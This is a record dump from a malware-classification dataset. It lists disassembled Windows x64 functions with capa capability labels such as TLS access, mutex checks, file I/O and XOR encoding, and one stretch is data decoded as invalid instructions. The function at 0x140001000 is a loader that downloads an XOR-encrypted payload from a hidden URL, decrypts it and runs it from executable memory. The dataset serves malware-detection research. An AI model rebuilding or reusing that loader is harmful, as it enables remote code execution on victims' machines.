joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005210
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rsi, qword [0x14023db60]
mov rax, qword [rsi]
test rax, rax
je 0x140005400
cmp qword [rax + 0x28], 0
jne 0x1400053e8
lea rcx, [0x1402411d8]
cmp dword [rcx], 1
mov qword [rax + 0x28], rcx
je 0x1400053f5
call fcn.140004820
mov rax, qword [rsi]
test rax, rax
je 0x140005290
cmp qword [rax + 0x30], 0
jne 0x1400052b0
lea rdx, [0x14023ca68]
mov qword [rax + 0x30], rdx
mov rax, rdx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x1400052c4
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call fcn.140009530
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x140005260
test rax, rax
jne 0x1400052b0
call fcn.140009530
nop dword [rax]
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
jne 0x14000527e
call fcn.140004360
cmp qword [0x140244050], 0
mov rbx, rax
je 0x14000527e
test rax, rax
je 0x14000527e
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.14000b3d0
cmp eax, 1
je 0x14000546d
mov rbp, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rbp
mov dword [rsp + 0x30], 2
mov r8, rdi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x140012476
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [rsi]
test rax, rax
je 0x140005448
cmp qword [rax + 0x30], 0
je 0x140005430
mov rax, qword [rax + 0x30]
mov ecx, dword [rax]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x140012476
mov r12, rbx
mov rax, r12
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x14000524c
mov rax, qword [rsi]
jmp 0x140005259
call fcn.140009530
cmp qword [rax + 0x28], 0
mov rax, qword [rsi]
je 0x140005238
test rax, rax
jne 0x1400053e8
call fcn.140009530
mov rcx, qword [rax + 0x28]
cmp dword [rcx], 1
jne 0x14000524c
jmp 0x140005251
lea rdx, [0x14023ca68]
mov qword [rax + 0x30], rdx
mov rax, rdx
jmp 0x1400053be
call fcn.140009530
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x140005430
test rax, rax
jne 0x1400053ba
call fcn.140009530
jmp 0x1400053ba
call fcn.1400046f0
nop word cs:[rax + rax]
nop dword [rax]
mov rax, qword [0x14023db60]
mov rdx, qword [rax]
lea rax, [0x1402411e8]
mov qword [rdx + 0x10], rax
ret
Function at 0x1400093b0
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400093d0
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140009418
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400093c4
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140009405
Function at 0x140009530
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x1402412c0]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x140009553
lea rax, [0x1402412c8]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x1a]
jmp 0x14000959b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140009598
lea rax, [0x140241300]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x19]
jmp 0x1400095cb
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x1400095c8
xor ecx, ecx
mov byte [0x140241319], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x140241322], rdx
lea r8, [0x1402412c0]
lea rbx, [0x14024131a]
mov qword [0x140241332], rdx
mov qword [0x140241342], rdx
mov qword [0x140241352], rdx
xor edx, edx
mov qword [0x14024131a], rax
mov qword [0x14024132a], rax
mov qword [0x14024133a], rax
mov qword [0x14024134a], rax
mov byte [0x14024135a], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1400097a6
lea rcx, [0x140241300]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x1400096f1
lea rsi, [0x140241200]
lea r8, [0x14024135a]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x14000969d
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x140009690
lea rcx, [0x140241300]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x140009793
lea rcx, [0x140009440]
mov qword [0x140241200], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x140241200]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x5b
lea rdx, [0x140241300]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x14024135a]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x1400097c6
nop dword [rax]
cmp byte [rax], 0x41
jne 0x140009743
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x140009730
mov rax, rdx
mov qword [0x140241200], rax
lea rsi, [0x140241200]
jmp 0x140009769
cmp rdx, rsi
je 0x1400096cf
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x140009760
cmp rdx, rsi
je 0x1400096cf
mov qword [rdx + 8], rsi
lea rcx, [0x140009440]
call sub.msvcrt.dll__onexit
jmp 0x1400096cf
lea rcx, str.failed_to_add_string_to_atom_table_n
call fcn.1400093b0
xor eax, eax
jmp 0x1400096e8
lea rcx, str.failed_to_to_lock_creation_mutex_n
call fcn.1400093b0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, str.failed_to_get_string_from_atom_n
call fcn.1400093b0
xor eax, eax
jmp 0x14000974f
Function at 0x140001000
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov ecx, 0x439f0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movzx ecx, word [0x1400022a0]
mov rbx, 0xffffffffffffffff
movups xmm0, xmmword [0x140002280]
mov word [rsp + 0x68], cx
mov rdi, rax
movzx ecx, byte [0x1400022a2]
lea rax, [rsp + 0x48]
movups xmm1, xmmword [0x140002290]
mov byte [rsp + 0x6a], cl
xor r8d, r8d
mov rcx, rbx
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm1
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], r8b
jne 0x140001070
test rcx, rcx
je 0x1400010b3
lea rdx, [rsp + 0x48]
nop dword [rax]
nop word [rax + rax]
xor byte [rdx], 0x77
lea rdx, [rdx + 1]
inc r8d
lea rcx, [rsp + 0x48]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x1400010a2
movsxd rcx, r8d
cmp rcx, rax
jb 0x140001090
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, str.myapp
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x28], 0
lea rdx, [rsp + 0x48]
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x30]
mov r8d, 0x439f0
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [0x1400022c0]
movsd xmm0, qword [str.senhaoanqvan]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x1400022c4]
mov byte [rsp + 0x44], al
lea rax, [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001136
movsxd r10, ebx
xor eax, eax
mov rdx, rdi
mov r9d, 0x439f0
nop dword [rax]
xor ecx, ecx
lea rdx, [rdx + 1]
cmp rax, r10
cmovl rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
xor byte [rdx - 1], al
lea rax, [rcx + 1]
sub r9, 1
jne 0x140001150
xor r8d, r8d
mov edx, 0x439f0
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov edx, 8
mov r8d, 0x439f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x439f0
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400011e0
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret

Function at 0x140001abc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b06
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b06
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b06
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b06
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b06
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b08
xor al, al
add rsp, 0x28
ret
Function at 0x140005240
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14023eb80]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140005313
cmp byte [rcx + 0x71], 0
je 0x140005313
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14000530f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400052d4
sub eax, 1
je 0x1400052d8
cmp eax, 2
jne 0x14000530f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140079d20
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140005306
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000530f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400052bc
xor al, al
jmp 0x1400052bc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140079d20
add rsp, 0x60
pop rbx
ret
Function at 0x140005de0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x14023eb80]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, edx
mov rdi, rcx
cmp edx, 0xffffffff
jne 0x140005e0d
xor eax, eax
jmp 0x140005f76
mov qword [rsp + 0xa0], rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x140005e4d
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, rbx
jae 0x140005e4d
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], sil
mov eax, esi
jmp 0x140005f6e
cmp qword [rdi + 0x80], 0
je 0x140005f69
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const___ptr64]
lea rcx, [rdi + 0x70]
cmp rax, rcx
jne 0x140005e87
mov rdx, qword [rdi + 0x88]
mov rcx, rdi
mov r9, qword [rdi + 0x90]
mov r8, rdx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char____ptr64__char____ptr64__char____ptr64____ptr64]
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x140005eb2
mov rdx, qword [rdi + 0x80]
movsx ecx, sil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, esi
mov eax, ecx
jmp 0x140005f6e
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], sil
mov qword [rsp + 0x38], rax
lea rdx, [rdi + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005f21
sub eax, 1
je 0x140005f21
cmp eax, 2
jne 0x140005f69
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rdi + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, esi
mov eax, ecx
jmp 0x140005f6e
mov rbx, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbx, rax
je 0x140005f4f
mov r9, qword [rdi + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x140005f69
lea rax, [rsp + 0x50]
mov byte [rdi + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, esi
mov eax, ecx
jmp 0x140005f6e
mov eax, 0xffffffff
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140079d20
mov rsi, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400060c0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
push r14
push r15
mov r15, rcx
mov r14, r8
mov rbp, rdx
sub r15, qword [r8 + 0x30]
je 0x14000624f
test byte [r8 + 0x5e], 0x40
jne 0x1400060e8
xor eax, eax
pop r15
pop r14
pop rbp
ret
movzx edx, word [r14 + 0x14]
movzx eax, word [r14 + 6]
add rdx, 0x18
mov r8d, dword [r8 + 0xb0]
add rdx, r14
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
cmp rdx, r9
jae 0x14000624f
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140006123
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140006137
add rdx, 0x28
cmp rdx, r9
jb 0x140006111
mov eax, 1
pop r15
pop r14
pop rbp
ret
mov qword [rsp + 0x30], rdi
mov edi, dword [rdx + 0x14]
sub rdi, rcx
mov qword [rsp + 0x38], r12
mov r12d, dword [r14 + 0xb4]
add rdi, r8
add rdi, rbp
add r12, rdi
test rdi, rdi
je 0x140006245
cmp rdi, r12
jae 0x140006245
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x28], rsi
mov eax, dword [rdi + 4]
test eax, eax
je 0x14000623b
add eax, 0xfffffff8
shr eax, 1
je 0x14000622c
lea rbx, [rdi + 8]
mov esi, eax
nop
movzx r9d, word [rbx]
movzx eax, r9w
shr ax, 0xc
and r9d, 0x80000fff
jge 0x1400061b2
dec r9d
or r9d, 0xfffff000
inc r9d
cmp ax, 3
je 0x1400061be
cmp ax, 0xa
jne 0x14000621e
movzx r11d, word [r14 + 0x14]
movzx r8d, word [r14 + 6]
add r11, 0x18
mov r10d, dword [rdi]
add r11, r14
mov rax, r11
lea rcx, [r8 + r8*4]
lea rdx, [r11 + rcx*8]
cmp r11, rdx
jae 0x140006213
mov edx, dword [rax + 0xc]
cmp r10, rdx
jb 0x1400061f4
mov ecx, dword [rax + 8]
add ecx, edx
cmp r10, rcx
jb 0x140006205
lea rdx, [r8 + r8*4]
add rax, 0x28
lea rcx, [r11 + rdx*8]
cmp rax, rcx
jmp 0x1400061e0
mov ecx, dword [rax + 0x14]
sub rcx, rdx
add rcx, r10
add rcx, rbp
jne 0x140006216
mov rcx, rbp
movzx eax, r9w
add qword [rax + rcx], r15
add rbx, 2
sub rsi, 1
jne 0x140006190
mov eax, dword [rdi + 4]
add rdi, rax
cmp rdi, r12
jb 0x140006173
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
mov eax, 1
pop r15
pop r14
pop rbp
ret
Function at 0x140006f30
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rsi, r8
mov r14, rdx
mov rbp, rcx
test r8, r8
jg 0x140006f52
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140006f61
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x28], rbx
mov rbx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
test rax, rax
je 0x140006fb2
cmp rax, rsi
mov rdi, rsi
mov rcx, rbp
cmovb rdi, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, rdi
mov rcx, r14
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, edi
mov rcx, rbp
add r14, rdi
sub rbx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
cmp qword [rbp + 0x80], 0
mov rdi, rbx
je 0x140007021
mov rcx, rbp
call fcn.140005350
cmp rbx, 0xfff
jbe 0x140007001
mov r9, qword [rbp + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x14000703a
cmp rbx, rax
ja 0x140006fd0
test rdi, rdi
je 0x140007021
mov r9, qword [rbp + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rdi, rax
sub rsi, rdi
mov rbx, qword [rsp + 0x28]
mov rax, rsi
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rsi, rbx
jmp 0x140007024
outsd dx, dword [rsi]
push rsi
Function at 0x140007040
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je case.default.0x140007061
add rsp, 0x20
pop r14
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov rbp, rax
test rbx, rbx
jle 0x1400070dc
test rax, rax
jle 0x1400070bc
cmp rbx, rax
mov rcx, rdi
cmovl rbp, rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, rbp
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, ebp
mov rcx, rdi
add r14, rbp
sub rbx, rbp
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
test rbx, rbx
jle 0x1400070dc
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400070dc
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x40]
sub rsi, rbx
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rbx
ret
push rdi
js 0x14011a66f
cmp dword [rax + 0x65], esi
imul eax, dword [r11], 0x63656a4d
push 0x65
invalid
push rbp
jb 0x14011a6ba
invalid
jae 0x14011a716
je 0x14011a70b
je 0x14011a6fa
insd dword [rdi], dx
insb byte [rdi], dx
js 0x14011a706
push r12
add byte [rdi + rcx*2 + 0x67], dl
push rsp
imul esp, dword [ecx + 0x38], 0x48
jno 0x14011a743
push rbx
push rbx
js 0x14011a70a
push rdi
invalid
jo 0x14011a744
add byte [rdx + 0x43], bh
jp 0x14011a742
pop rdx
invalid
push rcx
add byte [rbx + 0x34], dl
push rbx
invalid
insb byte [rdi], dx
cmp dword [rcx + 0x74], ebp
ja 0x14011a789
xor qword [rbx + 0x67], r9
invalid
xor cl, byte [rcx + 0x46]
xor spl, byte [r11 + 0x34]
xor spl, byte [r11 + 0x34]
xor r14b, byte [rdi]
push 0x75447862
push rsp
invalid
imul ebp, dword [rdi + 0x67], 0x6e334c00
xor r13, qword [rsi + 0x38]
xor bp, word [r8 + 0x53]
push r15
invalid
Function at 0x14000f2b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x14000f2e4
mov eax, esi
lea ecx, [rax - 0x24]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x14000f2d0
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.14000eb20
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14000f309
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140023ba0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000f383
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f37e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f37e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079d7c
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x14000f390
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov r10, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor ebx, ebx
cmp byte [r8 + 9], bl
je 0x14000f3c4
mov ecx, ebx
lea eax, [rcx - 0x24]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 8
jb 0x14000f3b0
mov byte [r8 + 9], bl
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x50]
call fcn.14000eb20
nop
cmp byte [rdi + 9], 0
je 0x14000f3f4
lea eax, [rbx - 0x24]
xor byte [rbx + rdi], al
inc rbx
cmp rbx, 8
jb 0x14000f3e1
mov byte [rdi + 9], 0
lea r8, [rdi + 8]
lea r9, [rsp + 0x20]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.14000eb20
nop
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
movzx edx, byte [rsp + 0x20]
mov rcx, rsi
call fcn.1400160c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000f464
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f45e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f45e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079d7c
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000f4a4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f49f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f49f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079d7c
mov rax, rsi
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret